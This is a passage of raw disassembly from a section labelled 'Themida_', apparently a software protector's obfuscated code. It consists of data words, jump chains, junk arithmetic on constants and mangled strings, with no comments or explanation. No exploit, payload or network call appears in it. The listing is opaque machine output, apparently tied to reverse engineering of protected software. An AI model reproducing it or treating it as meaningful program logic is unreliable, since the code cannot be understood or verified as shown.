27FC281h, 34FF78FAh, 73E95D24h dd 0E900002Eh, 0FFFFF644h, 0E904C483h, 40A4h, 0D06FF505h dd 68565238h, 736C7F56h, 6F1E9h, 24048900h, 0FFF623E9h dd 84C380FFh, 0EB80E328h, 24048B84h, 0F04C483h, 34FFC0B6h dd 4BBD6887h, 4890000h, 1982B824h, 44314242h, 0BEE90424h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55363F: ; CODE XREF: Themida_:005557E9j mov ebp, edi pop edi jmp loc_555CF3 ; --------------------------------------------------------------------------- aBuageuhB db 'îag¥UhÍB',0 align 2 dw 0FAE9h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553657: ; CODE XREF: Themida_:005644EEj push dword ptr [esp] pop edx push esi mov esi, esp jmp loc_561300 ; --------------------------------------------------------------------------- db 81h dd 42404h, 34FF0000h, 89535924h, 4C381E3h, 50000000h, 4B8h dd 0FB85E900h, 4B80000h, 0E904ED1Fh, 31EFh, 8059595Ah dd 0C3805EC3h, 51C300D8h, 0B75331B5h, 80EFD06Eh, 0FD20B3F7h dd 2145E9h db 0 ; --------------------------------------------------------------------------- loc_5536A9: ; CODE XREF: Themida_:005660E8j mov esi, [esp] jmp loc_55489E ; --------------------------------------------------------------------------- db 87h, 0D3h, 0C1h dd 0DBF703EBh, 11437E9h db 0 ; --------------------------------------------------------------------------- loc_5536BD: ; CODE XREF: Themida_:00557770j mov eax, edi pop edi not eax and eax, 6FB4AE2h shl eax, 4 jmp loc_5542ED ; --------------------------------------------------------------------------- dd offset dword_4F0044+724h align 4 dd 89241489h, 4BD55E2h, 50000000h, 734168h, 242C8900h dd 214789BDh, 4CB1B856h, 0E8296A88h, 83242C8Bh, 574804C4h dd 0A9FFE9h, 244C0100h, 34E0E904h, 9B2D0000h, 1FDF90Bh dd 1110E9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553716: ; CODE XREF: Themida_:0055705Dj mov [esp], ecx sub esp, 4 push esp pop dword ptr [esp] push esi mov esi, 4 add [esp+4], esi pop esi mov ecx, [esp] jmp loc_567C43 ; --------------------------------------------------------------------------- db 28h dd 0C3805BFDh, 81EB282Eh, 4ECh, 240C8900h, 0DAA8E9h db 0 ; --------------------------------------------------------------------------- loc_553749: ; CODE XREF: Themida_:005553EDj pop ebx sub al, 94h add al, bl push 2704h jmp loc_55F38F ; --------------------------------------------------------------------------- loc_553758: ; CODE XREF: Themida_:0055ED62j add ebx, 4 jmp loc_56472D ; --------------------------------------------------------------------------- db 0B5h dd 6ECD80C4h, 109068h, 24148900h, 0C2FE01B2h, 0A9E9DAF6h dd 31000092h, 0E9C631F0h, 8975h ; --------------------------------------------------------------------------- loc_553784: ; CODE XREF: Themida_:00553804j add ebx, 4 xchg ebx, [esp] pop esp jmp loc_554A63 ; --------------------------------------------------------------------------- dd 0E92434FFh, 37ADh, 4C5835Eh, 5C242C87h, 1AE9F381h, 65E91A62h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5537AB: ; CODE XREF: Themida_:0055978Fj sub ebp, esi jmp loc_558D65 ; --------------------------------------------------------------------------- dw 0DBF7h dd 0FFFFBD55h, 0EB29FFFFh, 4EC835Dh, 53242C89h, 9A4BBBBBh dd 5BDD894Eh, 59C3CD81h, 0ED8152F4h, 0A0D6581h, 0E5C1EDD1h dd 48BB5303h, 0E9594035h, 7D78h, 4C781h, 0C7810000h, 4 dd 5C243C87h, 9F24E9h db 0 ; --------------------------------------------------------------------------- loc_5537FD: ; CODE XREF: Themida_:0056694Aj pop ebx add ebx, 4 jmp loc_553784 ; --------------------------------------------------------------------------- loc_553809: ; CODE XREF: Themida_:00554A10j mov [esp], ebx mov ebx, ecx mov edx, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5622A2 ; --------------------------------------------------------------------------- db 58h dd 22F2E9h db 0 ; --------------------------------------------------------------------------- loc_55382D: ; CODE XREF: Themida_:00564165j add esp, 4 sub ebp, 2 jmp loc_563516 ; --------------------------------------------------------------------------- loc_55383E: ; CODE XREF: Themida_:00567E74j mov ebp, 4 sub eax, 3F454636h add eax, ebp add eax, 3F454636h mov ebp, [esp] add esp, 4 push edx jmp loc_560A5C ; --------------------------------------------------------------------------- dw 0FF58h dd 58E92434h, 0BE000135h, 3EC24008h, 87EE681h, 0DEF736A9h dd 6C0AE681h, 0EE816C32h, 33F2639Ch, 8107EEC1h, 190E84E6h dd 3175E90Ah, 34FF0001h, 0C3685824h, 8900004Bh, 58542404h dd 405h, 146C6800h, 14890000h, 0DA685324h, 5B0AA724h, 0DB2AC381h dd 0DA89F558h, 69A52D5Bh, 0EDE90931h db 45h, 1, 0 ; --------------------------------------------------------------------------- loc_5538C3: ; CODE XREF: Themida_:00565CB6j pop ebx jmp loc_55FE59 ; --------------------------------------------------------------------------- loc_5538C9: ; CODE XREF: Themida_:0056734Bj and edi, edx jmp loc_566AE0 ; --------------------------------------------------------------------------- dd 8959CF89h, 0B0BFE9FAh, 0E5890000h, 4C581h, 0C5810000h dd 4, 0E9242C87h, 538Eh ; --------------------------------------------------------------------------- loc_5538F0: ; CODE XREF: Themida_:0055E451j pop ebp jmp loc_5552BD ; --------------------------------------------------------------------------- dw 4E66h dd 0D3C68166h, 0F1896667h, 95BDE95Eh, 5B540000h, 4BA5251h dd 0E9000000h, 6257h ; --------------------------------------------------------------------------- loc_553914: ; CODE XREF: Themida_:005629A0j sub edi, 80F6E5Ah add eax, edi jmp loc_564512 ; --------------------------------------------------------------------------- loc_553921: ; CODE XREF: Themida_:005565ECj push esi push eax mov eax, 57D0EE2h jmp loc_556A1A ; --------------------------------------------------------------------------- loc_55392D: ; CODE XREF: Themida_:005561B5j push 50934714h pop edi jmp loc_564AD4 ; --------------------------------------------------------------------------- dd 53240489h, 0C381E389h, 4, 8704EB83h, 2E9241Ch, 810000B1h dd 99A094EFh, 4EC8306h, 0BD242C89h, 180056D6h, 241CF755h dd 83242C8Bh, 524504C4h, 5870A9BAh, 67E7E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553976: ; CODE XREF: Themida_:0056028Dj add ecx, 4 xchg ecx, [esp] pop esp pop dword ptr [esp] pop esp push edi mov edi, 6F9D368Ch add edi, 675D5986h push esi mov esi, 254E036Ch push 2404h mov [esp], edx mov edx, 627A4549h shl edx, 1 xor edx, 0F80D8682h and esi, edx mov edx, [esp] add esp, 4 jmp loc_55F889 ; --------------------------------------------------------------------------- db 0BDh, 0EFh, 76h dd 0AEBA55A5h, 317FFE18h, 0B3E95DEAh, 83FFFFF4h, 0C8904ECh dd 2B924h, 0EB810000h, 131E0090h, 0C381CB01h, 131E0090h dd 81240C8Bh, 4C4h, 241C3300h, 33241C31h, 9EE9241Ch db 0CCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5539F7: ; CODE XREF: Themida_:0056465Ej push edx mov edx, 71F2618Ah mov ebx, 74DB05C2h xor ebx, edx jmp loc_56355A ; --------------------------------------------------------------------------- aYsz db 'YézÇ',0 dw 0C100h dd 515205E7h, 0D5097DB9h, 26E98106h, 0C1057D7Ch, 0F18105E1h dd 2D252D8Ah, 9E30C181h, 0CA896B7Fh, 592434FFh, 4C481h dd 0DBE90000h, 0BD000110h, 63DA6262h, 4506EDC1h, 4AA4ED81h dd 0E909D9E7h, 8E1C15Dh, 81FFC183h, 201205C1h, 8BCA0152h dd 0C481240Ch, 4, 0D978E9h, 241C8900h, 7D8CE956h, 54530000h dd 0DDBA525Bh, 812AFC74h, 0E74A43C2h, 0E9DAF726h, 0A31Eh ; --------------------------------------------------------------------------- loc_553A8C: ; CODE XREF: Themida_:005610E2j mov ebp, esp jmp loc_558ABF ; --------------------------------------------------------------------------- loc_553A93: ; CODE XREF: Themida_:005641E7j add eax, ebx add eax, 2A545529h pop ebx add eax, 4 xchg eax, [esp] pop esp and eax, ebx pop ebx shr eax, 0Eh xor eax, ecx push 2180h mov [esp], eax push 78F1h mov [esp], edi push dword ptr [esp+4] mov edi, [esp] push eax jmp loc_56691D ; --------------------------------------------------------------------------- loc_553AC9: ; CODE XREF: Themida_:005649E4j pop ecx jmp loc_562996 ; --------------------------------------------------------------------------- loc_553ACF: ; CODE XREF: Themida_:00565D23j shr ebx, 4 push ecx mov ecx, 0F9D1AEBh and ebx, ecx jmp loc_55CDCA ; --------------------------------------------------------------------------- aISjn db '‰Îé†',0 align 2 loc_553AE6: ; CODE XREF: Themida_:00554ACFj add esi, 4 push eax jmp loc_552F1F ; --------------------------------------------------------------------------- dw 0EE81h dd 5924488Fh, 3892C681h, 5658134Ah, 42474FFh, 14F0E95Eh dd 5D660000h, 8BD02966h, 0C4812414h, 4, 58C32966h, 96F6E9h dd 4C78100h, 81000000h, 4C7h, 243C8700h, 10D1FE9h, 2DD00100h dd 1CA3208Ch, 4BD555Ah, 0E9000000h, 8CBDh, 45E1EF81h, 0F7816E5Eh dd 0DBC2306Ah, 476CE9h db 0 ; --------------------------------------------------------------------------- loc_553B59: ; CODE XREF: Themida_:00560527j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push esi mov esi, esp add esi, 4 jmp loc_558EBC ; --------------------------------------------------------------------------- loc_553B71: ; CODE XREF: Themida_:00554D3Bj mov ebp, ebx mov edx, ebp pop ebp pop ebx jmp loc_560771 ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 9B0AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553B8A: ; CODE XREF: Themida_:0056463Fj mov [esp], edx jmp loc_55D9CD ; --------------------------------------------------------------------------- loc_553B92: ; CODE XREF: Themida_:00553E3Ej pop eax pop dword ptr [esp] mov esp, [esp] movzx ecx, al push 44B5h jmp loc_565CBB ; --------------------------------------------------------------------------- aIssvc db 'ˆè颿',0 db 0 ; --------------------------------------------------------------------------- loc_553BAD: ; CODE XREF: Themida_:00557C16j mov eax, [esp] jmp loc_557BC2 ; --------------------------------------------------------------------------- loc_553BB5: ; CODE XREF: Themida_:00564B74j mov cl, al pop eax pop edx sub esp, 4 mov [esp], ebx mov bl, 8Ch xor bl, 5Dh xor bl, 0CBh add bl, 0E2h sub al, 0F5h sub al, bl add al, 0F5h pop ebx jmp loc_55BBE3 ; --------------------------------------------------------------------------- loc_553BD9: ; CODE XREF: Themida_:0055B5A0j push 27E8h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 610Eh mov [esp], ebx mov ebx, 800000h and eax, ebx push dword ptr [esp] push dword ptr [esp] jmp loc_55DD38 ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 2434FF04h, 4C4815Eh, 0E9000000h, 0FFFFF1E9h dd 5724048Bh, 9C3EE9h db 0 ; --------------------------------------------------------------------------- loc_553C2D: ; CODE XREF: Themida_:0055A2C2j add edx, 0D77FEFF4h add ebx, edx jmp loc_561F2E ; --------------------------------------------------------------------------- loc_553C3A: ; CODE XREF: Themida_:00555FA9j sub ebx, ecx pop ecx add ebx, edi push edi mov edi, 3C58543Ch shr edi, 1 shl edi, 3 jmp loc_5532D4 ; --------------------------------------------------------------------------- db 5Eh dd 0CD89555Dh, 8B5DEA89h, 0C483240Ch, 0A02CE904h, 75BD0000h dd 92B3F6Ah, 55525DE8h, 4C7E9h, 0FFE82000h, 0C8B2434h dd 4C48124h, 0E9000000h, 8553h, 8245C29h, 83241C8Bh, 0E95A04C4h dd 0FFFFEFA4h, 0C8B4E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553C9A: ; CODE XREF: Themida_:00561372j add esi, 8B21F22h xor ebp, esi jmp loc_56718E ; --------------------------------------------------------------------------- loc_553CA7: ; CODE XREF: Themida_:00558FDBj inc ecx xor ecx, 5533A502h xor ecx, edi pop edi mov esi, ecx pop ecx jmp loc_5677D5 ; --------------------------------------------------------------------------- db 66h, 0FFh, 32h dd 0FFEF77E9h, 4C483FFh, 31240C33h, 0C33240Ch, 0BD555C24h dd 366C5DB3h, 304C6857h, 3C8B5DFEh, 4C48124h, 4F000000h dd 644BF781h, 0F90156A5h, 0DBB535Fh, 81482059h, 745470EBh dd 614DE9C9h, 815E0000h, 2E51ACF6h, 0E9F28917h, 3F47h dd 0BB241C89h, 4, 1C8BD901h, 0FFA3E924h, 8159FFFFh, 0FFFFFFC1h dd 81D1F7FFh, 15FE7E1h, 0E165E93Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553D32: ; CODE XREF: Themida_:0055559Fj pop edi add edi, eax pop eax or esi, edi mov edi, [esp] jmp loc_564375 ; --------------------------------------------------------------------------- dd 0FE01EA80h, 5BF280CAh, 8904EC83h, 69E9240Ch db 2Dh, 1, 0 ; --------------------------------------------------------------------------- loc_553D53: ; CODE XREF: Themida_:0056024Bj xor ebp, esi jmp loc_562350 ; --------------------------------------------------------------------------- dw 0E95Bh dd 1B3h ; --------------------------------------------------------------------------- loc_553D60: ; CODE XREF: Themida_:0055EB64j push ecx mov ch, dh jmp loc_5552DE ; --------------------------------------------------------------------------- dd 3973CBEh, 0E9CE29DEh, 92ABh, 240C8B66h, 1426EE9h, 24248900h dd 4240481h, 8F000000h, 4832404h, 815E0424h, 4ECh, 240C8900h dd 7974EDB9h, 0A8B85026h, 2D2BEF44h, 5268B991h, 48BC101h dd 4C48324h, 0F6E9CE01h, 0F7000034h, 4E1C1D1h, 1E981h dd 55570000h, 0B5165568h, 242C8B5Ah, 0E904C483h, 5024h dd 0B4CD815Bh, 8178AE13h, 0FF0104EDh, 0FFEF311Eh, 2C8B2434h dd 4C48324h, 57E28952h, 941C99BFh, 8AEF812Ah, 812C536Ah dd 0ED511ACFh, 1BEF811Ah, 1FEEDF3h, 0DCE95FFAh, 5D00011Fh dd 11F3DE9h db 0 ; --------------------------------------------------------------------------- loc_553E15: ; CODE XREF: Themida_:00557BD5j mov esi, 0DD79F9h xor edi, esi pop esi jmp loc_5652F9 ; --------------------------------------------------------------------------- loc_553E22: ; CODE XREF: Themida_:0055B3B3j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 36EDh mov [esp], eax push dword ptr [esp+4] jmp loc_553B92 ; --------------------------------------------------------------------------- loc_553E43: ; CODE XREF: Themida_:00567A5Cj mov [esp], edx xor dword ptr [esp], 63A602C8h mov esi, [esp] add esp, 4 jmp loc_555215 ; --------------------------------------------------------------------------- db 53h dd 6A761EBBh, 0E5F0E97Ch, 0DA310000h, 8BD0895Bh, 0F1E92414h dd 81000116h, 950518EEh, 0E9F1290Ch, 13FFFh ; --------------------------------------------------------------------------- loc_553E80: ; CODE XREF: Themida_:0055BD97j mov ebp, [esp] add esp, 4 xor eax, [esp] jmp loc_55E0CA ; --------------------------------------------------------------------------- db 45h, 0F7h, 0D5h dd 3018ED81h, 0E8015DA2h, 42D5Dh, 40E90000h, 66000093h dd 0E9240C8Bh, 0FFFFFBC6h, 0D089FA89h, 10623E9h db 0 ; --------------------------------------------------------------------------- loc_553EB9: ; CODE XREF: Themida_:00559438j push eax push ecx push 284702A7h jmp loc_557398 ; --------------------------------------------------------------------------- loc_553EC5: ; CODE XREF: Themida_:00555231j push dword ptr [esp+4] pop ebp jmp loc_5631FC ; --------------------------------------------------------------------------- loc_553ECF: ; CODE XREF: Themida_:0055CAB6j mov [esp], edi mov edi, esp add edi, 4 push esi push ebx mov ebx, 5C070500h mov esi, 5C070504h sub esi, ebx jmp loc_55E200 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 104C483h, 0FF515FF9h, 59042474h, 5C24048Fh, 11D9BE9h dd 0E3895300h, 4BA52h, 72E90000h, 100008Ch, 6EA3E9C6h dd 565E0000h, 4BEh, 5FC58100h, 1487817h, 5FED81F5h, 0FF487817h dd 505E2434h, 405E089h, 83000000h, 48704C0h, 2C875C24h dd 83575C24h, 19E904ECh, 5100005Eh, 76E1B966h, 51F18166h dd 0EA816647h, 0A0E90B0Eh, 89000092h, 62F8E9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553F6A: ; CODE XREF: Themida_:005649BEj add ebp, edx pop edx xchg ebp, [esp] pop esp and eax, esi jmp loc_559947 ; --------------------------------------------------------------------------- loc_553F78: ; CODE XREF: Themida_:00566329j sub al, 46h push ecx mov cl, 0B0h inc cl sub cl, 95h add cl, 0F7h xor cl, 2 sub al, cl pop ecx add al, bl push edx mov dl, 11h add al, dl pop edx add al, 46h mov ebx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 2 xchg ecx, [esp] pop esp jmp loc_55E6F3 ; --------------------------------------------------------------------------- dw 0E6C1h dd 4EC8304h, 0BF243C89h, 3B3B01B4h, 0C455E952h, 4BD0000h dd 1000000h, 3C875DEFh, 0C4815C24h, 4, 4C481h, 0EC810000h dd 4, 50243C89h, 0B5C1068h, 24048B41h, 0C27BE9h, 11F28100h dd 89D1A7DFh, 43055AD0h, 818AD5FBh, 181BC0E9h, 0E9C1012Ch dd 2248h, 4EC81h, 34890000h, 3E06BE24h, 0DEF73A7Ch, 0CAEE814Eh dd 8124F808h, 7D4DA5CEh, 8AC1E908h, 81460000h, 82042FF6h dd 7928E941h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554042: ; CODE XREF: Themida_:00565865j pop esp jmp loc_567F15 ; --------------------------------------------------------------------------- dd 668DED81h, 0EF090991h, 0E9D7F75Dh, 13ECCh ; --------------------------------------------------------------------------- loc_554058: ; CODE XREF: Themida_:0055D0A8j sub ebx, edi pop edi shl ebx, 1 add ebx, 25B4B7Bh dec ebx not ebx add ebx, 986135DCh xor edi, ebx mov ebx, [esp] add esp, 4 and eax, edi pop edi shr eax, 10h xor eax, ecx push 4CB3h mov [esp], eax xor [esp], eax jmp loc_55EE8A ; --------------------------------------------------------------------------- loc_55408C: ; CODE XREF: Themida_:0055B7C8j pop ebx and ebx, 54D5320Dh xor ebx, 10013209h add ebp, ebx mov ebx, [esp] add esp, 4 add ebp, 4 jmp loc_55A1FC ; --------------------------------------------------------------------------- loc_5540AC: ; CODE XREF: Themida_:00558E4Dj neg ebp sub ebp, 49220BCh mov esi, ebp jmp loc_563E44 ; --------------------------------------------------------------------------- aZsC db 'Zé>C',0 dd 0EB72E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5540C6: ; CODE XREF: Themida_:005532C3j mov eax, 9C4157Fh sub [esp+4], eax pop eax pop ebp push ecx mov ecx, 0D216871h and ecx, 7C653828h xor ecx, 5E53D5Fh add ebp, ecx pop ecx jmp loc_566E35 ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 53E7h, 649A68h, 243C8900h, 0CDE9DF89h, 52FFFFEEh dd 0FFFBFFBAh, 1C5721FFh, 8B2434FFh, 10E92414h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554117: ; CODE XREF: Themida_:005602DDj push dword ptr [esp] pop edi jmp loc_558918 ; --------------------------------------------------------------------------- loc_554120: ; CODE XREF: Themida_:00554441j sub esp, 4 mov [esp], eax mov eax, 6A647880h shl eax, 1 sub eax, 0FFFFFFFFh jmp loc_55831B ; --------------------------------------------------------------------------- dd 7F6B7368h, 0EA895D3Bh, 10DBAE9h, 2434FF00h, 582434FFh dd 97CFE9h, 6EAC100h, 4EC81h, 0C890000h, 56FFB924h, 0F1814E93h dd 4CC589D4h, 2D59CA31h, 799F377Ch, 5055D001h, 892DA9B8h dd 0B30BD5Fh, 0C501FA3Bh, 0FAE94D58h, 0FF0000A9h, 0F7E92434h dd 89000067h, 4C681E6h, 52000000h, 29716DBAh, 6EAC134h dd 0F6FEA81h, 424A5860h, 0A1A9C281h, 0EAD19C7Bh, 5585E9h db 0 ; --------------------------------------------------------------------------- loc_5541B5: ; CODE XREF: Themida_:005581B3j xor edx, [esp] xor [esp], edx jmp loc_556AEC ; --------------------------------------------------------------------------- loc_5541C0: ; CODE XREF: Themida_:00563F1Fj mov [esp], ax mov ah, 82h add dl, 76h add dl, ah jmp loc_55B1F5 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 7C166800h, 2C890000h, 4EC8324h, 68242489h dd 10DFh, 0BB241C89h, 4, 4245C01h, 0C5815D5Bh, 4, 0ABE2E9h dd 0E7E95600h, 59000126h, 875DEA09h, 14F753DAh, 0DA315B24h dd 0DA31D331h, 8224F281h, 3A05B304h, 5009902h, 2FB51ECCh dd 0CC2DD001h, 2D2FB51Eh, 99023Ah, 8124148Bh, 4C4h, 1E56E900h dd 0F7660001h, 0E99C241Ch, 0FFFFE9E8h, 6824248Bh, 7B06h dd 0E9241489h, 0B8E5h ; --------------------------------------------------------------------------- loc_554260: ; CODE XREF: Themida_:00564808j push ebx jmp loc_55B01F ; --------------------------------------------------------------------------- dw 0B768h dd 5943042Dh, 0F3E9D9F7h, 890000B1h, 29E7E9E1h, 57580000h dd 855EE9h, 5EF32100h, 7340EB81h, 902DC8D3h, 2942487Fh dd 7F9005D8h, 685B4248h, 5667h, 26FEE9h, 0C1E95700h db 0E4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5542A7: ; CODE XREF: Themida_:00567A95j add ecx, edi jmp loc_558AE2 ; --------------------------------------------------------------------------- dw 0EAC1h dd 0D8E8E906h, 0E9590000h, 0ACF4h ; --------------------------------------------------------------------------- loc_5542BC: ; CODE XREF: Themida_:005660CBj mov esi, 6D8C7BA8h shl esi, 4 or esi, 572051FFh neg esi dec esi add esi, 0DFE7FC04h add ecx, esi jmp loc_56028C ; --------------------------------------------------------------------------- dw 0D2BEh dd 2914680Eh, 0C7815EF7h, 1BF74A0Bh, 6B32E9h db 0 ; --------------------------------------------------------------------------- loc_5542ED: ; CODE XREF: Themida_:005536CAj sub eax, 0FFFFFFFFh jmp loc_56515F ; --------------------------------------------------------------------------- db 1 dd 2434FFFEh, 8901E9h db 0 ; --------------------------------------------------------------------------- loc_554301: ; CODE XREF: Themida_:00555469j pop esp and ecx, 230B6EFFh sub ecx, 0E34C0413h push ecx xor dword ptr [esp], 6B283CB6h pop eax xor eax, 6B283CB6h mov ecx, [esp] add esp, 4 jmp loc_55A868 ; --------------------------------------------------------------------------- loc_554327: ; CODE XREF: Themida_:00558AFEj mov ebx, 0 add ebx, ecx add eax, [ebx] jmp loc_55F873 ; --------------------------------------------------------------------------- loc_554335: ; CODE XREF: Themida_:005603DAj mov [esp], ebx jmp loc_5598F4 ; --------------------------------------------------------------------------- loc_55433D: ; CODE XREF: Themida_:00563A85j pop ecx jmp loc_5630D4 ; --------------------------------------------------------------------------- db 2Ch dd 4D02869h, 0B2526669h, 0D22E9CDh, 68660001h, 89663DFDh dd 30B42404h, 5866E300h, 4DA768h, 240C8900h, 50AFB753h dd 0C588F888h, 8124048Bh, 4C4h, 2434FF00h, 0D119E9h, 4C18300h dd 5C240C87h, 2BD55h, 0EE010000h, 2434335Dh, 33243431h dd 0D25C2434h, 0E99C242Ch, 13998h, 55BDA01h, 44FE37A2h dd 5CE9D001h, 5600013Bh, 191F68h, 242C8900h, 0F15DC268h dd 0BE565D22h, 61453470h, 0F4AEE9h db 0 ; --------------------------------------------------------------------------- loc_5543CD: ; CODE XREF: Themida_:0055B366j shl al, 1 or al, 18h shr al, 7 sub esp, 4 mov [esp], edx push ebx mov bh, 91h or bh, 4Eh jmp loc_55F250 ; --------------------------------------------------------------------------- aTzsp db 'TZéÑ',0 align 4 dd 0FF242C89h, 0FF042474h, 835D2434h, 48F04C4h, 6A17E924h dd 0E95C0000h, 0EAE1h, 405h, 2014E900h, 8B660000h, 0BD682404h dd 89000001h, 0ABE9241Ch, 0FF000127h, 5A042474h, 6A05E9h dd 4C68300h, 114BBE9h db 0 ; --------------------------------------------------------------------------- loc_554435: ; CODE XREF: Themida_:0055DDFEj xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_554120 ; --------------------------------------------------------------------------- dw 8B66h dd 8951240Ch, 332A68E1h, 34890000h, 2790BE24h, 895035E5h dd 405E0h, 42D0000h, 87000000h, 248B2404h, 241C8924h, 8904EC83h dd 5BD242Ch, 815C6763h, 1A1E35F5h, 0D1E5D13Eh, 80C581E5h dd 5190D862h, 112C0E9h, 6AC4B900h, 4FE97FE1h, 1000063h dd 0EF835AD7h, 6EFC1FFh, 0EFC1D7F7h, 0EBBA5208h, 0E960AB07h dd 702Eh ; --------------------------------------------------------------------------- loc_5544B4: ; CODE XREF: Themida_:0055A150j sub edx, esi pop esi jmp loc_55FED5 ; --------------------------------------------------------------------------- loc_5544BC: ; CODE XREF: Themida_:0055535Aj mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx jmp loc_562A8E ; --------------------------------------------------------------------------- dd 5C242C87h, 87240C89h, 9CE9243Ch db 3 dup(0) ; --------------------------------------------------------------------------- loc_5544DB: ; CODE XREF: Themida_:005556B4j sub ebx, 594343B9h and ebx, 22E32937h xor ebx, 58535BF4h sub ebp, ebx pop ebx sub ebp, 692954BAh pop edi xchg ebp, [esp] mov esp, [esp] push 5EB5h mov [esp], ecx mov ecx, 40000h and eax, ecx push dword ptr [esp] jmp loc_55BA23 ; --------------------------------------------------------------------------- dd 4BF57h, 0E7E90000h, 89000113h, 0BD552434h, 31C70390h dd 82536ABEh, 5DEE01E9h, 8102EEC1h, 4ECh, 24148900h, 0E40CE9h db 0 ; --------------------------------------------------------------------------- loc_554541: ; CODE XREF: Themida_:0056737Bj add ebp, 0FFFFFFFFh jmp loc_558190 ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 33243C31h, 248B243Ch, 0E7895724h, 0E904EC83h, 0FFFFEF9Ch dd 9E4AE868h, 0E181595Ch, 4F9A30A1h, 743BE181h, 0FDE912D2h dd 0F7000026h, 243C87D7h, 371EE959h, 8A5B0001h, 8802244Ch dd 0E9022454h, 133A1h ; --------------------------------------------------------------------------- loc_554590: ; CODE XREF: Themida_:0055B882j mov eax, 4 add ebp, eax pop eax push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp shr eax, 12h xor eax, ecx push 31D4h mov [esp], eax xchg esi, [esp] xchg ebp, esi jmp loc_559DC9 ; --------------------------------------------------------------------------- db 0B0h, 0D1h, 0E9h dd 0FFFFE9E6h ; --------------------------------------------------------------------------- loc_5545C0: ; CODE XREF: Themida_:00567BEDj and edx, 95D5158h xor edx, offset dword_545004 add ebp, edx mov edx, [esp] jmp loc_56679B ; --------------------------------------------------------------------------- dw 57BBh dd 0E9700545h, 0A35Fh, 2404875Ch, 8924248Bh, 49E92414h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5545EF: ; CODE XREF: Themida_:0055C3A8j xchg ebx, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], edx mov edx, 4912B52h inc edx not edx jmp loc_55D057 ; --------------------------------------------------------------------------- loc_554609: ; CODE XREF: Themida_:00563EECj mov ecx, 77BD797Eh shr ecx, 1 shl ecx, 5 not ecx inc ecx push ebp mov ebp, 179DF82Ch sub ecx, 0B555A5Ah sub ecx, 371A7DD0h add ecx, 3DB283Ch sub ecx, ebp sub ecx, 3DB283Ch add ecx, 371A7DD0h push esi jmp loc_56007B ; --------------------------------------------------------------------------- dw 0F750h dd 35582414h, 0BD369E9Eh, 0D4E9C389h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_554653: ; CODE XREF: Themida_:00567C84j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push 5205h mov [esp], edx push eax mov eax, esp push ebp mov ebp, 1C723D09h add ebp, 0E38DC2FBh add eax, ebp mov ebp, [esp] add esp, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebx jmp loc_55753F ; --------------------------------------------------------------------------- aSqsi db 'SQéëÕ',0 dw 0FF00h dd 34FF2434h, 24048B24h, 3A98E9h, 24048F00h, 4240483h dd 0E92434FFh, 0FE7Fh, 94EB815Bh, 1D72412h, 39BCE9DFh dd 8F5D0001h, 2D5C2404h, 16FF7D0Ah, 8BE9E9h, 39BA5200h dd 0D151250Ch, 0CA8142EAh, 6E755E0Eh, 73A7EA81h, 0D1014DD9h dd 4E9C15Ah, 0C6BE5655h, 0F7187A4Bh, 0E9D6F7DEh, 82DEh ; --------------------------------------------------------------------------- loc_554700: ; CODE XREF: Themida_:005673EDj sub ecx, edx pop edx xchg ecx, [esp] mov esp, [esp] mov [esp], edx mov edx, 41D76678h shl edx, 2 shl edx, 4 sub edx, 1A7117E1h sub edx, 393330F5h xor ebp, edx pop edx and eax, ebp pop ebp or eax, eax jz loc_5663B6 push dword ptr [edi+28h] jmp loc_55A43A ; --------------------------------------------------------------------------- aTRPtfpsx db 'T^RºTfPéx=',0 align 2 dw 0C380h dd 80C3FE93h, 0FE957F3h, 8800003Fh, 3CE953DCh, 1000067h dd 30E95EF5h db 0BDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554763: ; CODE XREF: Themida_:00565302j mov ebx, 4BC80029h add esi, ebx pop ebx pop edi jmp loc_5647C1 ; --------------------------------------------------------------------------- loc_554771: ; CODE XREF: Themida_:005550E8j xor ebx, ecx pop ecx sub [edi+24h], ebx jmp loc_5649AD ; --------------------------------------------------------------------------- dd 4247C01h, 0C4BBE95Fh, 0E9010000h, 20C1815Dh, 29BFCEA2h dd 0FD3159CFh, 81243C8Bh, 4C4h, 5DEF2900h, 5C9568h, 243C8900h dd 42474FFh, 81243C8Bh, 4C4h, 24048F00h, 40B5E95Ch, 4AC0000h dd 0E999048Bh, 429Ah, 34FFCE30h, 0D25BE924h, 68510000h dd 2DAF323Ch, 6B12E9h, 0EE815E00h, 37CA24E6h, 0D36EC681h dd 0F289656Eh, 11C4E95Eh db 1, 0 ; --------------------------------------------------------------------------- loc_5547F2: ; CODE XREF: Themida_:00567F1Fj push ecx push edx 